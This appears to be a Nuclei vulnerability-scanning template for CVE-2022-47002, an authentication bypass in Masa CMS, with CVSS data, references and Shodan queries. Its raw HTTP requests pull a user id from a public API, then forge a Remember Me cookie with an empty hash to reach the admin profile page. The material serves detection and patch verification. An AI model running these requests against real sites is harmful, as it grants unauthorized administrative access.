Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2022-47002
info:
name: Masa CMS - Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Masa CMS 7.2, 7.3, and 7.4-beta are susceptible to authentication bypass in the Remember Me function. An attacker can bypass authentication via a crafted web request and thereby obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
remediation: |
Apply the latest security patch or update provided by the vendor to fix the authentication bypass vulnerability in Masa CMS.
reference:
- https://hoyahaxa.blogspot.com/2023/03/authentication-bypass-mura-masa.html
- https://github.com/MasaCMS/MasaCMS/releases/tag/7.3.10
- https://hoyahaxa.blogspot.com/2023/01/preliminary-security-advisory.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-47002
- https://www.hoyahaxa.com/2023/01/preliminary-security-advisory.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-47002
cwe-id: CWE-863
epss-score: 0.69749
epss-percentile: 0.98591
cpe: cpe:2.3:a:masacms:masacms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: masacms
product: masacms
shodan-query:
- 'Generator: Masa CMS'
- "generator: masa cms"
tags: cve,cve2022,auth-bypass,cms,masa,masacms,vuln
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
Host: {{Hostname}}
- |
GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: {{Hostname}}
Cookie: userid={{uuid}}; userhash=
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_3,"\"userid\"")'
condition: and
- type: word
part: body_3
words:
- "Edit Profile"
extractors:
- type: regex
name: siteid
group: 1
regex:
- 'siteid:"(.*?)"'
internal: true
part: body
- type: regex
name: uuid
group: 1
regex:
- '"lastupdatebyid":"([A-F0-9-]+)"'
internal: true
part: body
# digest: 4a0a00473045022100dd537a7ec2e5b285b96a42631ddba643061a1319b3eff5792b1986ce1d88d1110220104fb5cc5a18ce916101c5c7dfa836fca30bcd696e857e6693415e5b3cb25be9:922c64590222798bb761d5b6d8e72950